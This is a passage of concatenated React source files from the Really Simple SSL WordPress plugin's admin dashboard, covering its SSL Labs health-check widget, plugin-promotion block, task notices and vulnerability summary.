        fetchSslData,
        runSslTest,
        intervalId,
        setIntervalId,
        requestActive,
        setRequestActive,
        setClearCache
    } = useSslLabs();
    const hasRunOnce = useRef(false);


    useEffect(()=>{
        if ( !dataLoaded ) {
            fetchSslData();
        }
    } , [])

    const neverScannedYet = () => {
        return !sslData;
    }

    useEffect(()=> {
        if ( isLocalHost() ) {
            return;
        }

        if (sslScanStatus==='active' && sslData.summary && sslData.summary.progress>=100 ) {
            setClearCache(true);
            hasRunOnce.current = false;
            setSslData(false);
            setEndpointData(false);
        }

        if (sslScanStatus==='active' && sslData.status === 'ERROR' ) {
            setClearCache(true);
            setSslData(false);
            setEndpointData(false);
        }

        let scanInComplete = (sslData && sslData.status !== 'READY');
        let userClickedStartScan = sslScanStatus==='active';
        if (clearCache) scanInComplete = true;
        let hasErrors = sslData.errors || sslData.status === 'ERROR';
        let startScan = !hasErrors && (scanInComplete || userClickedStartScan);
        if ( !requestActive && startScan ) {
            setSslScanStatus('active');
            setRequestActive(true);
            if ( !hasRunOnce.current ) {
                runSslTest();
                if (!intervalId) {
                    let newIntervalId = setInterval(function () {
                        runSslTest();
                    }, 4000);
                    setIntervalId(newIntervalId);
                }
                hasRunOnce.current  = true;
            }
        } else if ( sslData && sslData.status === 'READY' ) {
            setSslScanStatus('completed');
            clearInterval(intervalId);
        }
    }, [sslScanStatus, sslData]);




    /**
     * Get some styles for the progress bar
     * @returns {{width: string}}
     */
    const getStyles = () => {
        let progress = 0;
        if (sslData && sslData.summary.progress) {
            progress = sslData.summary.progress;
        } else if (progress==0 && sslScanStatus ==='active') {
           progress=5;
        }

        return Object.assign(
            {},
            {width: progress+"%"},
        );
    }

    const scoreSnippet = (className, content, id) => {
        return (
            <ScoreElement className={className} content={content} id={id}/>
        )
    }

    /**
     * Retrieve information from SSL labs if HSTS is detected
     *
     * @returns {JSX.Element}
     */
    const hasHSTS = () => {
        let status = 'processing';
        if ( neverScannedYet() ){
            status = 'inactive';
        }

        if ( endpointData && endpointData.length>0 ) {
            let failedData = endpointData.filter(function (endpoint) {
                return endpoint.details.hstsPolicy && endpoint.details.hstsPolicy.status!=='present';
            });
            status = failedData.length>0 ? 'error' : 'success';
        }
        return (
            <>
                {(status==='inactive') && scoreSnippet("rsssl-test-inactive", "HSTS",'hsts')}
                {status==='processing' && scoreSnippet("rsssl-test-processing", "HSTS...", 'hsts')}
                {status==='error' && scoreSnippet("rsssl-test-error", "No HSTS header", 'hsts')}
                {status==='success' && scoreSnippet("rsssl-test-success", "HSTS header detected", 'hsts')}
            </>
        )
    }

    /**
     * Calculate cipher strength
     * @returns {JSX.Element}
     */
    const cipherStrength = () => {
        // Start with the score of the strongest cipher.
        // Add the score of the weakest cipher.
        // Divide the total by 2.
        let rating = 0;
        let ratingClass = 'rsssl-test-processing';
        if ( neverScannedYet() ){
            ratingClass = 'rsssl-test-inactive';
        }
        if ( endpointData && endpointData.length>0 ) {
            let weakest = 256;
            let strongest = 128;
            endpointData.forEach(function(endpoint, i){
                endpoint.details.suites && endpoint.details.suites.forEach(function(suite, j){
                   suite.list.forEach(function(cipher, j){
                       weakest = cipher.cipherStrength<weakest ? cipher.cipherStrength : weakest;
                       strongest = cipher.cipherStrength>strongest ? cipher.cipherStrength : strongest;
                   });
               });
           });
           rating = (getCypherRating(weakest) + getCypherRating(strongest) )/2;
           rating = Math.round(rating);
           ratingClass = rating>70 ? "rsssl-test-success" : "rsssl-test-error";
        }

        return (
            <>
            {scoreSnippet(ratingClass, __("Cipher strength","really-simple-ssl")+' '+rating+'%','cipher')}
            </>
        )
    }

    /**
    * https://github.com/ssllabs/research/wiki/SSL-Server-Rating-Guide#Certificate-strength
    */
    const getCypherRating = (strength) => {
        let score = 0;
        if (strength==0) {
            score = 0;
        } else if (strength<128){
            score = 20;
        } else if (strength<256){
            score=80;
        } else {
          score=100;
        }
        return score;
    }

    const certificateStatus = () => {
        let status = 'processing';
        if ( neverScannedYet() ){
            status = 'inactive';
        }
        if ( endpointData && endpointData.length>0 ) {
            let failedData = endpointData.filter(function (endpoint) {
                return endpoint.grade && endpoint.grade.indexOf('A')===-1;
            });
            status = failedData.length>0 ? 'error' : 'success';
        }
        return (
            <>
            {(status==='inactive') && scoreSnippet("rsssl-test-inactive", "Certificate", "certificate")}
            {status==='processing' && scoreSnippet("rsssl-test-processing", "Certificate...", "certificate")}
            {status==='error' && !hasErrors && scoreSnippet("rsssl-test-error", "Certificate issue", "certificate")}
            {status==='success' && scoreSnippet("rsssl-test-success", "Valid certificate", "certificate")}
            </>
        )
    }



    const supportsTlS11 = () => {
        let status = 'processing';
        if ( neverScannedYet() ){
            status = 'inactive';
        }
        if ( endpointData && endpointData.length>0 ) {
            status = 'success';
            endpointData.forEach(function(endpoint, i){
                endpoint.details.protocols && endpoint.details.protocols.forEach(function(protocol, j){
                   if (protocol.version==='1.1') status = 'error';
               });
           });
        }
        return (
            <>
            {(status==='inactive') && scoreSnippet("rsssl-test-inactive", "Protocol support", "protocol")}
            {(status==='processing') && scoreSnippet("rsssl-test-processing", "Protocol support...", "protocol")}
            {status==='error' && scoreSnippet("rsssl-test-error", "Supports TLS 1.1", "protocol")}
            {status==='success' && scoreSnippet("rsssl-test-success", "No TLS 1.1", "protocol")}
            </>
        )
    }

    let sslClass = 'rsssl-inactive';
    let progress = sslData ? sslData.summary.progress : 0;
    let startTime = sslData ? sslData.summary.startTime : false;
    let startTimeNice='';
    if ( startTime ) {
        let newDate = new Date();
        newDate.setTime(startTime);
        startTimeNice = getRelativeTime(startTime);
    } else {
        startTimeNice = __("No test started yet","really-simple-ssl")
    }

    let statusMessage = sslData ? sslData.summary.statusMessage : false;
    let grade = sslData ? sslData.summary.grade : '?';
    if ( sslData && sslData.status === 'READY' ) {
        if ( grade.indexOf('A')!==-1 ){
            sslClass = "rsssl-success";
        } else {
            sslClass = "rsssl-error";
        }
    }

    if (neverScannedYet()){
        sslClass = "rsssl-inactive";
    }

    let gradeClass = neverScannedYet() ? 'inactive' : grade;
    let url = 'https://www.ssllabs.com/analyze.html?d='+encodeURIComponent(window.location.protocol + "//" + window.location.host);
    let hasErrors = false;
    let errorMessage='';
    let sslStatusColor = 'black';

    if ( isLocalHost() ) {
        hasErrors = true;
        sslStatusColor = 'red';
        errorMessage = __("Not available on localhost","really-simple-ssl");
    } else if (sslData && (sslData.errors || sslData.status === 'ERROR') ) {
        hasErrors = true;
        sslStatusColor = 'red';
        errorMessage = statusMessage;
    } else if (sslData && progress<100 ) {
        hasErrors = true;
        sslStatusColor = 'orange';
        errorMessage = statusMessage;
    }

    return (
        <>
            <div className={'rsssl-ssl-labs'}>
                <div className={"rsssl-gridblock-progress-container "+sslClass}>
                    <div className="rsssl-gridblock-progress" style={getStyles()}></div>
                </div>
                <div className="rsssl-gridblock-progress"
                     style={getStyles()}></div>
                <div className={"rsssl-ssl-labs-select " + sslClass}>
                    <div className="rsssl-ssl-labs-select-item">
                        {supportsTlS11()}
                        {hasHSTS()}
                        {certificateStatus()}
                        {cipherStrength()}
                    </div>
                    <div className="rsssl-ssl-labs-select-item">
                        {!neverScannedYet() ? <h2 className={'big-number'}>{grade}</h2> : <h2 className={'big-number'}>?</h2>}
                        {neverScannedYet() && <div></div>}
                    </div>
                </div>
                <div className="rsssl-ssl-labs-list">
                    <div className="rsssl-ssl-labs-list-item">
                        <Icon name="info" color={sslStatusColor}/>
                        <p className="rsssl-ssl-labs-list-item-text">
                            {hasErrors && errorMessage}
                            {!hasErrors && __('What does my score mean?', 'really-simple-ssl')}
                        </p>
                        <a href={addUrlRef("https://really-simple-ssl.com/instructions/about-ssl-labs/")} target="_blank" rel="noopener noreferrer">
                            {__('Read more', 'really-simple-ssl')}
                        </a>
                    </div>
                    <div className="rsssl-ssl-labs-list-item">
                        <Icon name="list" color="black"/>
                        <p className="rsssl-ssl-labs-list-item-text">
                            {__('Last check:',
                                'really-simple-ssl')}
                        </p>
                        <p className="rsssl-ssl-labs-list-item-text">{startTimeNice}</p>
                    </div>
                    { <div className="rsssl-ssl-labs-list-item">
                        <Icon name="external-link" color="black"/>
                        <a href={url} target="_blank" rel="noopener noreferrer">{__('View detailed report on Qualys SSL Labs', 'really-simple-ssl')}</a>
                    </div> }
                </div>
            </div>
        </>
    );
}

export default SslLabs;really-simple-ssl/settings/src/Dashboard/SslLabs/SslLabsHeader.js000064400000000652147510273070021026 0ustar00import { __ } from '@wordpress/i18n';
const SslLabsHeader = () => {
    return (
        <>
            <h3 className="rsssl-grid-title rsssl-h4">{  __( "Status", 'really-simple-ssl' ) }</h3>
            <div className="rsssl-grid-item-controls">
                 <span className="rsssl-header-html"> {__( "Powered by Qualys", 'really-simple-ssl' )}</span>
            </div>
        </>
    )
}

export default SslLabsHeader;really-simple-ssl/settings/src/Dashboard/SslLabs/SslLabsFooter.js000064400000001204147510273070021066 0ustar00import { __ } from '@wordpress/i18n';
import useSslLabs from "./SslLabsData";
const SslLabsFooter = () => {
    const {sslScanStatus, setSslScanStatus, isLocalHost} = useSslLabs();
    let disabled = sslScanStatus === 'active' || isLocalHost();
    return (
        <>
           <button disabled={disabled} onClick={ (e) =>  setSslScanStatus('active') } className="button button-default">
            { sslScanStatus==='paused' && __("Continue SSL Health check", "really-simple-ssl")}
            { sslScanStatus!=='paused' && __("Check SSL Health", "really-simple-ssl")}
           </button>
        </>
    )
}

export default SslLabsFooter;really-simple-ssl/settings/src/Dashboard/SslLabs/SslLabsData.js000064400000015444147510273070020514 0ustar00import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
const useSslLabs = create(( set, get ) => ({
    debug:false, //set to true for localhost testing, with wordpress.org as domain
    sslScanStatus: false,
    sslData: false,
    endpointData: [],
    dataLoaded:false,
    clearCache:false,
    requestActive:false,
    intervalId:false,
    setIntervalId: (intervalId) => set({ intervalId }),
    setRequestActive: (requestActive) => set({ requestActive }),
    setSslScanStatus: (sslScanStatus) => set({ sslScanStatus }),
    setClearCache: (clearCache) => set({ clearCache }),
    setSslData: (sslData) => set({ sslData }),
    setEndpointData: (endpointData) => set({ endpointData }),

    isLocalHost: () => {
        let debug = get().debug;
        return debug ? false: window.location.host.indexOf('localhost')!==-1;
    } ,
    host: () => {
        let debug = get().debug;
        return debug ? "wordpress.org" : window.location.host;
    },
    fetchSslData: async () => {
        rsssl_api.doAction('ssltest_get').then( ( response ) => {
            if (response.data.hasOwnProperty('host') )  {
                let data = get().processSslData(response.data);
                set({
                    sslData: data,
                    endpointData: data.endpointData,
                    dataLoaded: true,
                })
            }
        })
    },
    getSslLabsData: (e) => {
        let clearCacheUrl = '';
        if (get().clearCache){
            set({clearCache:false,sslData:false });
            clearCacheUrl = '&startNew=on';
        }
        const url = "https://api.ssllabs.com/api/v3/analyze?host="+get().host()+clearCacheUrl;
        let data = {};
        data.url = url;
        return rsssl_api.doAction('ssltest_run', data).then( ( response ) => {
            if ( response && !response.errors) {
                return JSON.parse(response);
            } else {
                return false;
            }
        })
    },
    runSslTest: () => {
        get().getSslLabsData().then((sslData)=>{
            if ( sslData.status && sslData.status === 'ERROR' ){
                sslData = get().processSslData(sslData);
                set({
                    sslData: sslData,
                    sslScanStatus: 'completed',
                });
                clearInterval(get().intervalId);
            } else
            if ( sslData.endpoints && sslData.endpoints.filter((endpoint) => endpoint.statusMessage === 'Ready').length>0 ) {
                let completedEndpoints = sslData.endpoints.filter((endpoint) => endpoint.statusMessage === 'Ready');
                let lastCompletedEndpointIndex = completedEndpoints.length-1;
                let lastCompletedEndpoint = completedEndpoints[ lastCompletedEndpointIndex];
                let ipAddress = lastCompletedEndpoint.ipAddress;
                get().getEndpointData(ipAddress).then( (response ) => {
                    let endpointData = get().endpointData;
                    if (!Array.isArray(endpointData)) endpointData = [];
                    if ( !response.errors ){
                        //if the endpoint already is stored, replace it.
                        let foundEndpoint = false;
                        if (endpointData.length>0) {
                            endpointData.forEach(function(endpoint, i) {
                                if ( endpoint.ipAddress === response.ipAddress ) {
                                    endpointData[i] = response;
                                    foundEndpoint = true;
                                }
                            });
                        }
                        if ( !foundEndpoint ) {
                            endpointData[endpointData.length] = response;
                        }
                        set({endpointData: endpointData});
                        sslData.endpointData = endpointData;
                    }

                    if ( !sslData.errors ) {
                        rsssl_api.doAction('store_ssl_labs', sslData );
                    }
                    sslData = get().processSslData(sslData);
                    set({sslData: sslData, requestActive: false});
                });
            } else {
                //if there are no errors, this runs when the first endpoint is not completed yet
                sslData = get().processSslData(sslData);
                if ( !sslData.errors ) {
                    rsssl_api.doAction('store_ssl_labs', sslData ).then( ( response ) => {});
                }
                set({sslData:sslData,requestActive: false});
            }

        });
    },
    processSslData: (sslData) => {
        if ( !sslData ) {
            sslData = {};
        }

        let progress = sslData.progress ? sslData.progress : 0;
        let startTime = sslData.startTime ? sslData.startTime : '';
        let statusMessage = sslData.statusMessage ? sslData.statusMessage : '';
        let grade = sslData.grade ? sslData.grade : '?';
        let ipAddress='';
        if ( sslData.endpoints ) {
            let completedEndpoints = sslData.endpoints.filter((endpoint) => endpoint.statusMessage === 'Ready');
            let completedEndpointsLength = completedEndpoints.length;
            let lastCompletedEndpoint = completedEndpoints[ completedEndpointsLength-1];
            let activeEndpoint = sslData.endpoints.filter((endpoint) => endpoint.statusMessage === 'In progress')[0];
            let activeEndpointProgress = 0;
            if (activeEndpoint) {
                activeEndpointProgress = activeEndpoint.progress ? activeEndpoint.progress : 0;
                statusMessage = activeEndpoint.statusDetailsMessage;
                ipAddress = activeEndpoint.ipAddress;
            }
            if (lastCompletedEndpoint) grade = lastCompletedEndpoint.grade;

            progress = ( completedEndpointsLength * 100 + activeEndpointProgress ) / sslData.endpoints.length;
        }
        if ( sslData.errors ) {
            grade = '?';
            statusMessage =  sslData.errors[0].message;
            progress = 100;
        }
        let summary = {};
        if ( progress >= 100) {
            set({sslScanStatus: 'completed'});
        }
        summary.grade = grade;
        summary.startTime = startTime;
        summary.statusMessage = statusMessage;
        summary.ipAddress = ipAddress;
        summary.progress = progress;
        sslData.summary = summary;
        return sslData;
    },
    getEndpointData:(ipAddress) => {
        const url = 'https://api.ssllabs.com/api/v3/getEndpointData?host='+get().host()+'&s='+ipAddress;
        let data = {};
        data.url = url;
        return rsssl_api.doAction('ssltest_run', data).then( ( response ) => {
            if ( response && !response.errors) {
                return JSON.parse(response);
            }
        })
    }
}));
export default useSslLabs;







really-simple-ssl/settings/src/Dashboard/DashboardPage.js000064400000004621147510273070017473 0ustar00import GridBlock from "./GridBlock";
import ProgressHeader from "./Progress/ProgressBlockHeader";
import ProgressBlock from "./Progress/ProgressBlock";
import ProgressFooter from "./Progress/ProgressFooter";
import SslLabsHeader from "./SslLabs/SslLabsHeader";
import SslLabs from "./SslLabs/SslLabs";
import SslLabsFooter from "./SslLabs/SslLabsFooter";
import VulnerabilitiesHeader from "./Vulnerabilities/VulnerabilitiesHeader";
import Vulnerabilities from "./Vulnerabilities/Vulnerabilities";
import VulnerabilitiesFooter from "./Vulnerabilities/VulnerabilitiesFooter";
import TipsTricks from "./TipsTricks/TipsTricks";
import TipsTricksFooter from "./TipsTricks/TipsTricksFooter";
import OtherPluginsHeader from "./OtherPlugins/OtherPluginsHeader";
import OtherPlugins from "./OtherPlugins/OtherPlugins";
import { __ } from '@wordpress/i18n';
import DashboardPlaceholder from "../Placeholder/DashboardPlaceholder";
import useFields from "../Settings/FieldsData";
import ErrorBoundary from "../utils/ErrorBoundary";

const DashboardPage = () => {
    const {fieldsLoaded} = useFields();

    const blocks = [
        {
            id: 'progress',
            header: ProgressHeader,
            content: ProgressBlock,
            footer: ProgressFooter,
            class: ' rsssl-column-2',
        },
        {
            id: 'ssllabs',
            header: SslLabsHeader,
            content: SslLabs,
            footer: SslLabsFooter,
            class: 'border-to-border',
        },
        {
            id: 'wpvul',
            header: VulnerabilitiesHeader,
            content: Vulnerabilities,
            footer: VulnerabilitiesFooter,
            class: 'border-to-border',
        },
        {
            id: 'tips_tricks',
            title: __("Tips & Tricks", 'really-simple-ssl'),
            content: TipsTricks,
            footer: TipsTricksFooter,
            class: ' rsssl-column-2',
        },
        {
            id: 'other-plugins',
            header: OtherPluginsHeader,
            content: OtherPlugins,
            class: ' rsssl-column-2 no-border no-background',
        },
    ]
    return (
        <>
            {!fieldsLoaded && <DashboardPlaceholder></DashboardPlaceholder>}
            {fieldsLoaded && blocks.map((block, i) => <ErrorBoundary key={"grid_"+i} fallback={"Could not load dashboard block"}><GridBlock  block={block}/></ErrorBoundary>)}
        </>
    );

}
export default DashboardPagereally-simple-ssl/settings/src/Dashboard/GridBlock.js000064400000002171147510273070016645 0ustar00const GridBlock = (props) => {
    const footer =props.block.footer ? props.block.footer : false;
    const blockData = props.block;
    let className = "rsssl-grid-item "+blockData.class+" rsssl-"+blockData.id;
    return (
        <div key={"block-"+blockData.id} className={className}>
            <div key={"header-"+blockData.id} className="rsssl-grid-item-header">
                { blockData.header && wp.element.createElement(blockData.header) }
                { !blockData.header && <>
                        <h3 className="rsssl-grid-title rsssl-h4">{ blockData.title }</h3>
                        <div className="rsssl-grid-item-controls"></div>
                    </>
                }
            </div>
            <div key={"content-"+blockData.id} className="rsssl-grid-item-content">{wp.element.createElement(props.block.content)}</div>
            { !footer && <div key={"footer-"+blockData.id} className="rsssl-grid-item-footer"></div>}
            { footer && <div key={"footer-"+blockData.id} className="rsssl-grid-item-footer">{wp.element.createElement(footer)}</div>}
        </div>
    );
}

export default GridBlock;really-simple-ssl/settings/src/Dashboard/OtherPlugins/OtherPluginsHeader.js000064400000001136147510273070023164 0ustar00import { __ } from '@wordpress/i18n';
const OtherPluginsHeader = () => {
    return (
        <>
            <h3 className="rsssl-grid-title rsssl-h4">{  __( "Other Plugins", 'really-simple-ssl' ) }</h3>
            <div className="rsssl-grid-item-controls">
                <span className="rsssl-header-html">
                    <a className="rsp-logo" href="https://really-simple-plugins.com/"><img src={rsssl_settings.plugin_url+"assets/img/really-simple-plugins.svg"} alt="Really Simple Plugins"/></a>
                </span>
            </div>
        </>
    )
}

export default OtherPluginsHeader;really-simple-ssl/settings/src/Dashboard/OtherPlugins/OtherPlugins.js000064400000003460147510273070022055 0ustar00import { useEffect} from "@wordpress/element";
import { __ } from '@wordpress/i18n';
import Placeholder from '../../Placeholder/Placeholder';
import useOtherPlugins  from "./OtherPluginsData";
const OtherPlugins = () => {
    const {dataLoaded, pluginData, pluginActions, fetchOtherPluginsData, error} = useOtherPlugins();
    useEffect(() => {
        if (!dataLoaded) {
            fetchOtherPluginsData();
        }
    }, [] )

    const otherPluginElement = (plugin, i) => {
        return (
           <div key={"plugin"+i} className={"rsssl-other-plugins-element rsssl-"+plugin.slug}>
               <a href={plugin.wordpress_url} target="_blank" rel="noopener noreferrer" title={plugin.title}>
                   <div className="rsssl-bullet"></div>
                   <div className="rsssl-other-plugins-content">{plugin.title}</div>
               </a>
               <div className="rsssl-other-plugin-status">
                {plugin.pluginAction==='upgrade-to-premium' && <><a target="_blank" rel="noopener noreferrer" href={plugin.upgrade_url}>{__("Upgrade", "really-simple-ssl")}</a></>}
                {plugin.pluginAction!=='upgrade-to-premium' && plugin.pluginAction!=='installed' && <>
                    <a href="#" onClick={ (e) => pluginActions(plugin.slug, plugin.pluginAction, e) } >{plugin.pluginActionNice}</a></>}
                {plugin.pluginAction==='installed' && <>{__("Installed", "really-simple-ssl")}</>}
               </div>
           </div>
        )
    }

    if ( !dataLoaded || error) {
        return (<Placeholder lines="3" error={error}></Placeholder>)
    }


    return (
        <>
           <div className="rsssl-other-plugins-container">
               { pluginData.map((plugin, i) => otherPluginElement(plugin, i)) }
           </div>
        </>
    )
}

export default OtherPlugins;
really-simple-ssl/settings/src/Dashboard/OtherPlugins/OtherPluginsData.js000064400000005416147510273070022652 0ustar00import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {__} from "@wordpress/i18n";
const useOtherPlugins = create(( set, get ) => ({
    error:false,
    dataLoaded:false,
    pluginData:[],
    updatePluginData:(slug, newPluginItem) => {
        let pluginData = get().pluginData;
        pluginData.forEach(function(pluginItem, i) {
            if (pluginItem.slug===slug) {
                pluginData[i] = newPluginItem;
            }
        });
        set(state => ({
            dataLoaded:true,
            pluginData:pluginData,
        }))
    },
    getPluginData: (slug) => {
        let pluginData = get().pluginData;
        return pluginData.filter((pluginItem) => {
            return (pluginItem.slug===slug)
        })[0];
    },
    fetchOtherPluginsData: async () => {
        const {pluginData, error} = await rsssl_api.doAction('otherpluginsdata').then((response) => {
            let pluginData = [];
            pluginData = response.plugins;
            let error = response.error;
            if (!error) {
                pluginData.forEach(function (pluginItem, i) {
                    pluginData[i].pluginActionNice = pluginActionNice(pluginItem.pluginAction);
                });
            }

            return {pluginData, error};
        })
        set(state => ({
            dataLoaded:true,
            pluginData:pluginData,
            error:error,
        }))
    },
    pluginActions: (slug, pluginAction, e) => {
        if (e) e.preventDefault();
        let data = {};
        data.slug = slug;
        data.pluginAction = pluginAction;
        let pluginItem = get().getPluginData(slug);
        if ( pluginAction==='download' ) {
            pluginItem.pluginAction = "downloading";
        } else if (pluginAction==='activate') {
            pluginItem.pluginAction = "activating";
        }
        pluginItem.pluginActionNice = pluginActionNice(pluginItem.pluginAction);
        get().updatePluginData(slug, pluginItem);
        if (pluginAction==='installed' || pluginAction === 'upgrade-to-premium') {
            return;
        }
        rsssl_api.doAction('plugin_actions', data).then( ( response ) => {
            pluginItem = response;
            get().updatePluginData(slug, pluginItem);
            get().pluginActions(slug, pluginItem.pluginAction);
        })
    },
}));

export default useOtherPlugins;

const pluginActionNice = (pluginAction) => {
    const statuses = {
        'download': __("Install", "really-simple-ssl"),
        'activate': __("Activate", "really-simple-ssl"),
        'activating': __("Activating...", "really-simple-ssl"),
        'downloading': __("Downloading...", "really-simple-ssl"),
        'upgrade-to-premium': __("Downloading...", "really-simple-ssl"),
    };
    return statuses[pluginAction];
}

really-simple-ssl/settings/src/Dashboard/TaskElement.js000064400000007344147510273070017230 0ustar00import { __ } from '@wordpress/i18n';
import Icon from '../utils/Icon'
import * as rsssl_api from "../utils/api";
import useFields from "../Settings/FieldsData";
import useProgress from "./Progress/ProgressData";
import useMenu from "../Menu/MenuData";
import DOMPurify from "dompurify";
import {useState} from "@wordpress/element";

const TaskElement = (props) => {
    const {dismissNotice, getProgressData} = useProgress();
    const {getField, setHighLightField, showSavedSettingsNotice} = useFields();
    const {setSelectedSubMenuItem} = useMenu();
    const [processing, setProcessing] = useState(false);
    const handleClick = async () => {
        setHighLightField(props.notice.output.highlight_field_id);
        let highlightField = getField(props.notice.output.highlight_field_id);
        await setSelectedSubMenuItem(highlightField.menu_id);
    }

    const handleFix = (fix_id) => {
        let data = {};
        data.fix_id = fix_id;
        setProcessing(true);
        rsssl_api.doAction('fix', data).then( ( response ) => {
            setProcessing(false);
            showSavedSettingsNotice(response.msg);
            getProgressData();
        });
    }

    const handleClearCache = (cache_id) => {
        setProcessing(true)
        let data = {};
        data.cache_id = cache_id;
        rsssl_api.doAction('clear_cache', data).then( ( response ) => {
            setProcessing(false)
            showSavedSettingsNotice(__( 'Re-started test', 'really-simple-ssl' ));
            getProgressData();
        });
    }

    let notice = props.notice;
    let premium = notice.output.icon==='premium';
    //treat links to rsssl.com and internal links different.
    let urlIsExternal = notice.output.url && notice.output.url.indexOf('really-simple-ssl.com') !== -1;
    return(
        <div className="rsssl-task-element">
            <span className={'rsssl-task-status rsssl-' + notice.output.icon}>{ notice.output.label }</span>
            <p className="rsssl-task-message" dangerouslySetInnerHTML={{__html: DOMPurify.sanitize( notice.output.msg )}}></p> {/* nosemgrep: react-dangerouslysetinnerhtml */}
            {urlIsExternal && notice.output.url && <a target="_blank" rel="noopener noreferrer" href={notice.output.url}>{__("More info", "really-simple-ssl")}</a> }
            {notice.output.clear_cache_id && <span className="rsssl-task-enable button button-secondary" onClick={ () => handleClearCache(notice.output.clear_cache_id ) }>{__("Re-check", "really-simple-ssl")}</span> }
            {notice.output.fix_id && <span className="rsssl-task-enable button button-secondary" onClick={ () => handleFix(notice.output.fix_id ) }>
                {!processing && __("Fix", "really-simple-ssl")}
                {processing && <Icon name = "loading" color = 'black' size={14} />}
            </span> }
            {!premium && !urlIsExternal && notice.output.url && <a className="rsssl-task-enable button button-secondary" href={notice.output.url}>
                {!processing && __("View", "really-simple-ssl")}
                {processing && <Icon name = "loading" color = 'black' size={14} />}
            </a> }

            {!premium && notice.output.highlight_field_id && <span className="rsssl-task-enable button button-secondary" onClick={() => handleClick()}>{__("View", "really-simple-ssl")}</span> }
            {notice.output.plusone && <span className='rsssl-plusone'>1</span>}
            {notice.output.dismissible && notice.output.status!=='completed' &&
                <div className="rsssl-task-dismiss">
                  <button type='button' onClick={(e) => dismissNotice(notice.id) }>
                         <Icon name='times' />
                  </button>
                </div>
            }
        </div>
    );
}

export default TaskElement;really-simple-ssl/settings/src/Dashboard/Vulnerabilities/VulnerabilitiesHeader.js000064400000001443147510273070024421 0ustar00import { __ } from '@wordpress/i18n';
import {useEffect, useState} from "react";
import useFields from "../../Settings/FieldsData";
const VulnerabilitiesHeader = () => {
    const {fields, getFieldValue} = useFields();
    const [vulEnabled, setVulEnabled] = useState(false);
    useEffect(() => {
        if (getFieldValue('enable_vulnerability_scanner')==1) {
            setVulEnabled(true);
        }
    }, [fields]);

    return (
        <>
            <h3 className="rsssl-grid-title rsssl-h4">{  vulEnabled ? __( "Vulnerabilities", 'really-simple-ssl' ) : __( "Hardening", 'really-simple-ssl' ) }</h3>
            <div className="rsssl-grid-item-controls">
                <span className="rsssl-header-html"></span>
            </div>
        </>
    )
}

export default VulnerabilitiesHeader;really-simple-ssl/settings/src/Dashboard/Vulnerabilities/VulnerabilitiesFooter.js000064400000002002147510273070024457 0ustar00import {useEffect, useState} from '@wordpress/element';
import {__} from '@wordpress/i18n';
import useRiskData from "../../Settings/RiskConfiguration/RiskData";
import useFields from "../../Settings/FieldsData";
import {getRelativeTime} from '../../utils/formatting';

const VulnerabilitiesFooter = (props) => {
    const {lastChecked} = useRiskData();
    const {fields, getFieldValue} = useFields();
    const [vulEnabled, setVulEnabled] = useState(false);
    useEffect(() => {
        if (getFieldValue('enable_vulnerability_scanner')==1) {
            setVulEnabled(true);
        }
    }, [fields]);

   const styleFooter = {
        textAlign: 'right',
        position: 'relative',
        right: '0',
    }
    return (
        <>
            <a href="#settings/vulnerabilities" className={'button button-default'}>{__('Settings', 'really-simple-ssl')}</a>
            {vulEnabled? <p className={'rsssl-small-text'}>{getRelativeTime(lastChecked)}</p>: null}
        </>
    )
}

export default VulnerabilitiesFooter;
really-simple-ssl/settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js000064400000030262147510273070023311 0ustar00import Icon from "../../utils/Icon";
import {__, _n} from "@wordpress/i18n";
import {useEffect, useState} from "react";
import useFields from "../../Settings/FieldsData";
import useRiskData from "../../Settings/RiskConfiguration/RiskData";

const Vulnerabilities = () => {
    const {
        vulnerabilities,
        vulnerabilityScore,
        updates,
        dataLoaded,
        fetchVulnerabilities
    } = useRiskData();
    const {fields, getFieldValue} = useFields();
    const [vulnerabilityWord, setVulnerabilityWord] = useState('');
    const [updateWord, setUpdateWord] = useState('');
    const [updateWordCapitalized, setUpdateWordCapitalized] = useState('');
    const [vulnerabilityWordCapitalized, setVulnerabilityWordCapitalized] = useState('');
    const [updateString, setUpdateString] = useState('');
    const [hardeningWord, setHardeningWord] = useState('');
    const [notEnabledHardeningFields, setNotEnabledHardeningFields] = useState(0);
    const [vulEnabled, setVulEnabled] = useState(false);
    useEffect(() => {
        if (getFieldValue('enable_vulnerability_scanner')==1) {
            setVulEnabled(true);
        }
    }, [fields]);

    useEffect(() => {
        if (!dataLoaded) {
            fetchVulnerabilities();
        }
    }, [vulEnabled]);

    useEffect(() => {
        //singular or plural of the word vulnerability
        const v = (vulnerabilities === 1) ? __("vulnerability", "really-simple-ssl") : __("vulnerabilities", "really-simple-ssl");
        setVulnerabilityWordCapitalized(v.charAt(0).toUpperCase() + v.slice(1));
        setVulnerabilityWord(v);
        const u = (updates === 1) ? __("update", "really-simple-ssl") : __("updates", "really-simple-ssl");
        const s = _n('You have %s update pending', 'You have %s updates pending', updates, 'really-simple-ssl').replace('%s', updates);
        setUpdateWord(u);
        setUpdateWordCapitalized(u.charAt(0).toUpperCase() + u.slice(1));
        setUpdateString(s);
        const h = (notEnabledHardeningFields === 1) ? __("hardening feature", "really-simple-ssl") : __("hardening features", "really-simple-ssl");
        setHardeningWord(h);
    },[vulnerabilities, updates, notEnabledHardeningFields])

    useEffect(() => {
        if (fields.length>0) {
            let notEnabledFields = fields.filter(field => field.recommended);
            //we need to filter enabled fields, but also disabled fields, because these are not enabled, but set by another method, so disabled
            notEnabledFields = notEnabledFields.filter(field => field.value !== 1 && field.disabled !== true);
            setNotEnabledHardeningFields(notEnabledFields.length);
        }
    },[fields])

    let vulClass = 'rsssl-inactive';
    let badgeVulStyle = vulEnabled?'rsp-success':'rsp-default';
    let badgeUpdateStyle = 'rsp-success';
    let iconVulColor = 'green';
    let iconVulEnabledColor = 'red';
    let iconUpdateColor = 'black';
    if (vulEnabled || notEnabledHardeningFields > 0 || updates > 0) {
        //now we calculate the score
        let score = vulnerabilityScore();
        //we create correct badge style
        if (score >= 5) {
            badgeVulStyle = 'rsp-critical';
            iconVulColor =  'red';
        } else if (score < 4 && score > 0) {
            badgeVulStyle = 'rsp-medium';
            iconVulColor = 'yellow';
        }

        if (updates >= 5) {
            badgeUpdateStyle = 'rsp-critical';
            iconUpdateColor =  'red';
        } else if (score < 5 && score > 0) {
            badgeUpdateStyle = 'rsp-medium';
            iconUpdateColor = 'yellow';
        }

        if ( score < notEnabledHardeningFields ) {
            score = notEnabledHardeningFields;
        }

        if (score < updates) {
            score = updates;
